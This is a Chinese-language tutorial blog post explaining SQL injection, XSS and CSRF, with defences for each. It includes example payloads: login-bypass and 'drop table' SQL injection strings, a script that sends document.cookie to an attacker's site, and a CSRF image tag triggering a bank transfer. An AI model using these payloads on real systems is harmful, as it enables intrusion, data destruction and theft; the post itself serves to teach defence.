常見(jiàn)的Web攻擊方式：SQL注入、XSS跨站腳本攻擊、跨站點(diǎn)請(qǐng)求偽造

三十的狼 2019-08-30

展開(kāi)全文

常見(jiàn)的Web攻擊有SQL注入、XSS跨站腳本攻擊、跨站點(diǎn)請(qǐng)求偽造共三類(lèi)，下面分別簡(jiǎn)單介紹。

1 SQL注入

1.1 原理

SQL注入就是通過(guò)把SQL命令插入到Web表單遞交或輸入域名或頁(yè)面請(qǐng)求的查詢(xún)字符串，最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。SQL注入漏洞到底是以怎樣的形式進(jìn)行攻擊的呢，接下來(lái)將以一個(gè)簡(jiǎn)單的實(shí)例來(lái)進(jìn)行介紹。

比如在一個(gè)登陸界面，有兩個(gè)文本框分別用來(lái)輸入用戶(hù)名和密碼，當(dāng)用戶(hù)點(diǎn)了登錄按鈕的時(shí)候，會(huì)對(duì)輸入的用戶(hù)名和密碼進(jìn)行驗(yàn)證。

在這里插入圖片描述

驗(yàn)證的SQL語(yǔ)句可以簡(jiǎn)單理解為：select * from student where username=‘輸入的用戶(hù)名’ and password=‘輸入的密碼’ ，如果能夠檢索到數(shù)據(jù)，說(shuō)明驗(yàn)證通過(guò)，否則驗(yàn)證不通過(guò)。

如果用戶(hù)在用戶(hù)名文本框中輸入 ’ or ‘1’ = ‘1’ or ‘1’ = ‘1，則驗(yàn)證的SQL語(yǔ)句變成：select * from student where username=" or ‘1’ = ‘1’ or ‘1’ = ‘1’ and password= "
如果用戶(hù)在密碼文本框中輸入 1 ’ or ‘1 ‘=’ 1，則驗(yàn)證的SQL語(yǔ)句變成：select * from student where username=’’ and password=‘1’ or ‘1’=‘1’
以上兩個(gè)SQL語(yǔ)句的where條件永遠(yuǎn)是成立的，所以驗(yàn)證永遠(yuǎn)是有效的。

另外，如果在用戶(hù)名文本框中輸入 tom’ ; drop table student- -，則SQL語(yǔ)句變成：

select * from student where username='tom' ; 
drop table student--' and password=''

這樣就變成兩條SQL語(yǔ)句，執(zhí)行完查詢(xún)操作，接著直接把student表給刪除了（雙連接符表示注釋?zhuān)?/p>

1.2 防御措施

通過(guò)上面的描述我們就很清楚的明白，黑客如果發(fā)現(xiàn)平臺(tái)里有SQL注入漏洞，那么我們的平臺(tái)就會(huì)輕而易舉的被攻破了。那么我們?nèi)绾螌?xiě)代碼，才能實(shí)現(xiàn)對(duì)SQL注入攻擊進(jìn)行更好的防御呢。下面將分別介紹下防御措施：

1、永遠(yuǎn)不要信任用戶(hù)的輸入

對(duì)用戶(hù)的輸入進(jìn)行校驗(yàn)，可以通過(guò)正則表達(dá)式，或限制長(zhǎng)度；對(duì)單引號(hào)和雙“-”進(jìn)行轉(zhuǎn)換等；具體表現(xiàn)如下：

①輸入為數(shù)字參數(shù)則必須進(jìn)行數(shù)字類(lèi)型判斷

如采用正則表達(dá)式：String characterPattern = “^\d+$”;

②輸入為字符串參數(shù)則必須進(jìn)行字符型合法性判斷

如采用正則表達(dá)式：String characterPattern = ^[A-Za-z]*$;

③輸入只允許包含某些特定的字符或字符的組合使用白名單進(jìn)行輸入校驗(yàn)，如email地址、日期、小數(shù)等：
String characterPattern = "^([a-z0-9A-Z]+[_-]?)+[a-z0-9A-Z]@(([a-z0-9A-Z]+[_-]?)+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,4}$"; //email正則表達(dá)式

④校驗(yàn)輸入數(shù)據(jù)的長(zhǎng)度

⑤校驗(yàn)輸入數(shù)據(jù)的范圍，如年齡為0~50之間的正整數(shù)

⑥將特殊字符單引號(hào)和雙“-”進(jìn)行轉(zhuǎn)換。

2、永遠(yuǎn)不要使用動(dòng)態(tài)拼裝sql

可以使用參數(shù)化的sql或者直接使用存儲(chǔ)過(guò)程進(jìn)行數(shù)據(jù)查詢(xún)存取。哪怕參數(shù)是常量，也請(qǐng)用預(yù)編譯語(yǔ)句PreparedStatement，同時(shí)用占位符，如： “select * from table where comment like ?”。

注意：如果參數(shù)不是使用的占位符，即使用PreparedStatement執(zhí)行時(shí)也并不是預(yù)編譯。

3、永遠(yuǎn)不要使用管理員權(quán)限的數(shù)據(jù)庫(kù)連接

為每個(gè)應(yīng)用使用單獨(dú)的有權(quán)限的數(shù)據(jù)庫(kù)連接，這樣能降低數(shù)據(jù)庫(kù)密碼被泄漏而帶來(lái)的破壞。

4、不要把機(jī)密信息直接存放

加密或者h(yuǎn)ash掉密碼和敏感的信息；如數(shù)據(jù)庫(kù)連接密碼、用戶(hù)密碼、設(shè)備密碼需要加密存儲(chǔ)。

5、應(yīng)用的異常信息應(yīng)該給出盡可能少的提示

最好使用自定義的錯(cuò)誤信息對(duì)原始錯(cuò)誤信息進(jìn)行包裝。

2 XSS跨站腳本攻擊

2.1 原理

XSS(Cross Site Scripting)跨站腳本攻擊指攻擊者在網(wǎng)頁(yè)中嵌入客戶(hù)端腳本(例如JavaScript)，當(dāng)用戶(hù)瀏覽此網(wǎng)頁(yè)時(shí)，腳本就會(huì)在用戶(hù)的瀏覽器上執(zhí)行，從而達(dá)到攻擊者的目的，比如獲取用戶(hù)的Cookie，導(dǎo)航到惡意網(wǎng)站，攜帶木馬等。XSS漏洞到底是以怎樣的形式進(jìn)行攻擊的呢，接下來(lái)將通過(guò)兩個(gè)不同的場(chǎng)景來(lái)進(jìn)行介紹。

1、Dom-Based XSS 漏洞

基于DOM的XSS，也就是web server不參與，僅僅涉及到瀏覽器的XSS

攻擊過(guò)程如下：小A發(fā)現(xiàn)了中的Search.jsp頁(yè)面有XSS漏洞，Search.jsp的代碼如下：

<html>
    <title></title> 
	<body> 
    	Results  for  <%=request.getParameter("term")%>...  
	</body>  
</html>

沒(méi)有對(duì)term做任何過(guò)濾校驗(yàn)。

小A 先建立一個(gè)網(wǎng)站http://，用來(lái)接收“偷”來(lái)的信息。然后小A構(gòu)造一個(gè)惡意的url(如下)，通過(guò)某種方式(郵件，QQ)發(fā)給小B

http:///search.asp?term=<script>window.open("http://?cookie="+document.cookie)</script>

小B點(diǎn)擊了這個(gè)URL，嵌入在URL中的惡意Javascript代碼就會(huì)在小B的瀏覽器中執(zhí)行，那么小B在網(wǎng)站的cookie，就會(huì)被發(fā)送到badboy網(wǎng)站中，這樣小B在的信息就被小A盜了。

2、Stored XSS(存儲(chǔ)式XSS漏洞)

如一個(gè)應(yīng)用程序從數(shù)據(jù)庫(kù)中查詢(xún)數(shù)據(jù)，在頁(yè)面中顯示出來(lái)，攻擊者在這個(gè)頁(yè)面輸入惡意的腳本數(shù)據(jù)后，用戶(hù)瀏覽此類(lèi)頁(yè)面時(shí)就可能受到攻擊，使得所有訪問(wèn)該頁(yè)面的用戶(hù)都面臨信息泄露的可能。
在這里插入圖片描述

攻擊過(guò)程如下：

小C發(fā)現(xiàn)了網(wǎng)站A上有一個(gè)XSS 漏洞，該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫(kù)中，于是小C發(fā)布了一篇文章，文章中嵌入了惡意JavaScript代碼。其他人如小D訪問(wèn)這片文章的時(shí)候，嵌入在文章中的惡意Javascript代碼就會(huì)在小D的瀏覽器中執(zhí)行，其會(huì)話cookie或者其他信息將被小C盜走。

Dom-Based XSS漏洞威脅用戶(hù)個(gè)體，而存儲(chǔ)式XSS漏洞所威脅的對(duì)象將是大量的用戶(hù)。

2.2 防御措施

針對(duì)XSS跨站腳本攻擊，我們的防御原則是不相信用戶(hù)輸入的數(shù)據(jù)，對(duì)應(yīng)的防御措施如下：

1、在cookie中不要存放一些敏感信息
比如用戶(hù)名、密碼等安全信息，或者cookie中的信息采用加密的方式。最為有效的方式是將重要的cookie標(biāo)記為http only，這樣腳本中就不能訪問(wèn)這個(gè)cookie，就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie：

2、輸入過(guò)濾校驗(yàn)，對(duì)用戶(hù)提交的數(shù)據(jù)進(jìn)行有效性驗(yàn)證

僅接受指定長(zhǎng)度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交，阻止或者忽略除此外的其他任何數(shù)據(jù)。比如：電話號(hào)碼必須是數(shù)字和中劃線組成，而且要設(shè)定長(zhǎng)度上限。過(guò)濾一些些常見(jiàn)的敏感字符，例如：< > ‘ “ & # \；過(guò)濾或移除特殊的Html標(biāo)簽，例如: <script>, <iframe> , < for <, > for >, &quot for；過(guò)濾JavaScript 事件的標(biāo)簽，例如 "οnclick=", "onfocus" 等等。這里的數(shù)據(jù)校驗(yàn)除了前臺(tái)要做，后臺(tái)也要做。

3、DOM型的XSS攻擊防御
　　把變量輸出到頁(yè)面時(shí)要做好相關(guān)的編碼轉(zhuǎn)義工作，如要輸出到 <script>中，可以進(jìn)行JS編碼；要輸出到HTML內(nèi)容或?qū)傩?，則進(jìn)行HTML編碼處理。根據(jù)不同的語(yǔ)境采用不同的編碼處理方式。

3 跨站點(diǎn)請(qǐng)求偽造

3.1 原理

CSRF（ Cross-site request forgery ）盡管聽(tīng)起來(lái)很像XSS跨站腳本攻擊，但是它于XSS完全不同。XSS是利用站點(diǎn)內(nèi)的信任用戶(hù)，而CSRF則是通過(guò)偽裝來(lái)自受信任用戶(hù)的請(qǐng)求來(lái)利用受信任的站點(diǎn)，從而在并未授權(quán)的情況下執(zhí)行在權(quán)限保護(hù)之下的操作。與XSS相比，CSRF攻擊不大流行和難以防范，所以比XSS更具危險(xiǎn)性。
在這里插入圖片描述
從上圖可以看出，要完成一次CSRF攻擊，受害者必須依次完成兩個(gè)步驟：
1.登錄受信任網(wǎng)站A，并在本地生成Cookie 。
2.在不退出A的情況下，訪問(wèn)危險(xiǎn)網(wǎng)站B。

接下來(lái)通過(guò)實(shí)例來(lái)介紹什么是CSRF攻擊

受害者 tom 在銀行有一筆存款，通過(guò)對(duì)銀行的網(wǎng)站發(fā)送請(qǐng)求：http://bank.example/withdrawaccount=tom&amount=1000000&for=tom2 可以使 tom把 1000000 的存款轉(zhuǎn)到 tom2 的賬號(hào)下。通常情況下，該請(qǐng)求發(fā)送到網(wǎng)站后，服務(wù)器會(huì)先驗(yàn)證該請(qǐng)求是否來(lái)自一個(gè)合法的 session，并且該 session 的用戶(hù) tom 已經(jīng)成功登陸。

黑客 tom3 自己在該銀行也有賬戶(hù)，他知道上文中的 URL 可以把錢(qián)進(jìn)行轉(zhuǎn)帳操作。 tom3 可以自己發(fā)送一個(gè)請(qǐng)求給銀行：http://bank.example/withdraw?account=bob&amount=1000000&for=tom3 。但是這個(gè)請(qǐng)求來(lái)自tom3 而非tom ，他不能通過(guò)安全認(rèn)證，因此該請(qǐng)求不會(huì)起作用。

這時(shí)，tom3 想到使用CSRF的攻擊方式，他先自己做一個(gè)網(wǎng)站，在網(wǎng)站中放入如下代碼：<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=tom3” />。并且通過(guò)廣告等誘使 tom 來(lái)訪問(wèn)他的網(wǎng)站。當(dāng) tom訪問(wèn)該網(wǎng)站時(shí)，上述 url 就會(huì)從 tom 的瀏覽器發(fā)向銀行，而這個(gè)請(qǐng)求會(huì)附帶 tom 瀏覽器中的cookie一起發(fā)向銀行服務(wù)器。

大多數(shù)情況下該請(qǐng)求會(huì)失敗，因?yàn)樗髏om 的認(rèn)證信息。但是

①如果tom當(dāng)時(shí)恰巧剛訪問(wèn)他的銀行后不久
②他的瀏覽器與銀行網(wǎng)站之間的 session 尚未過(guò)期
③瀏覽器的 cookie 之中含有 tom 的認(rèn)證信息

這時(shí)，悲劇發(fā)生了，這個(gè) url 請(qǐng)求就會(huì)得到響應(yīng)，錢(qián)將從 tom的賬號(hào)轉(zhuǎn)移到 tom3的賬號(hào)，而 tom當(dāng)時(shí)毫不知情。等以后 tom發(fā)現(xiàn)賬戶(hù)錢(qián)少了，即使他去銀行查詢(xún)?nèi)罩?，他也只能發(fā)現(xiàn)確實(shí)有一個(gè)來(lái)自于他本人的合法請(qǐng)求轉(zhuǎn)移了資金，沒(méi)有任何被攻擊的痕跡。而 tom3 則可以拿到錢(qián)后逍遙法外。

3.2 防御措施

服務(wù)端的預(yù)防CSRF攻擊的方式方法有多種，但思想上都是差不多的，主要從以下2個(gè)方面入手：1、正確使用GET,POST和Cookie；2、在非GET請(qǐng)求中增加偽隨機(jī)數(shù)，對(duì)應(yīng)的防御措施如下：

1.對(duì)于web站點(diǎn)，將持久化的授權(quán)方法（例如cookie或者HTTP授權(quán)）切換為瞬時(shí)的授權(quán)方法（在每個(gè)form中提供隱藏field，或者每次操作都需要重新認(rèn)證）。目前主流的做法是使用Token抵御CSRF攻擊。CSRF攻擊成功的條件在于攻擊者能夠預(yù)測(cè)所有的參數(shù)從而構(gòu)造出合法的請(qǐng)求，所以我們可以加大這個(gè)預(yù)測(cè)的難度，加入一些黑客不能偽造的信息。我們?cè)谔峤槐韱螘r(shí)，保持原有參數(shù)不變，另外添加一個(gè)參數(shù)Token，該值可以是隨機(jī)并且加密的，當(dāng)提交表單時(shí)，客戶(hù)端也同時(shí)提交這個(gè)token，然后由服務(wù)端驗(yàn)證，驗(yàn)證通過(guò)才是有效的請(qǐng)求。但是由于用戶(hù)的Cookie很容易由于網(wǎng)站的XSS漏洞而被盜取，所以這個(gè)方案必須要在沒(méi)有XSS的情況下才安全。

2.通過(guò)在瀏覽其它站點(diǎn)前登出站點(diǎn)或者在瀏覽器會(huì)話結(jié)束后清理瀏覽器的cookie來(lái)防止CSRF攻擊，對(duì)于關(guān)鍵操作我們應(yīng)該采用post方法。

3.檢查http請(qǐng)求中的referer的值，只有對(duì)referer中信任的站點(diǎn)才可以訪問(wèn)。所謂Referer，就是在一個(gè)網(wǎng)絡(luò)請(qǐng)求頭中的鍵值對(duì)，標(biāo)示著目前的請(qǐng)求是從哪個(gè)頁(yè)面過(guò)來(lái)的。服務(wù)器通過(guò)檢查Referer的值，如果判斷出Referer并非本站頁(yè)面，而是一個(gè)外部站點(diǎn)的頁(yè)面，那么我們就可以判斷出這個(gè)請(qǐng)求是非法的。與此同時(shí)，我們也就檢測(cè)到了一次csrf攻擊。但是，服務(wù)器有時(shí)候并不能接收Referer值，所以單純地只通過(guò)Referer來(lái)防御是不太合理的，它因此經(jīng)常用于csrf的檢測(cè)。

本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間，所有內(nèi)容均由用戶(hù)發(fā)布，不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買(mǎi)等信息，謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容，請(qǐng)點(diǎn)擊一鍵舉報(bào)。

轉(zhuǎn)藏 分享

QQ空間 QQ好友新浪微博微信

獻(xiàn)花（0） +1

來(lái)自：三十的狼 > 《系統(tǒng)安全漏洞》

舉報(bào)/認(rèn)領(lǐng)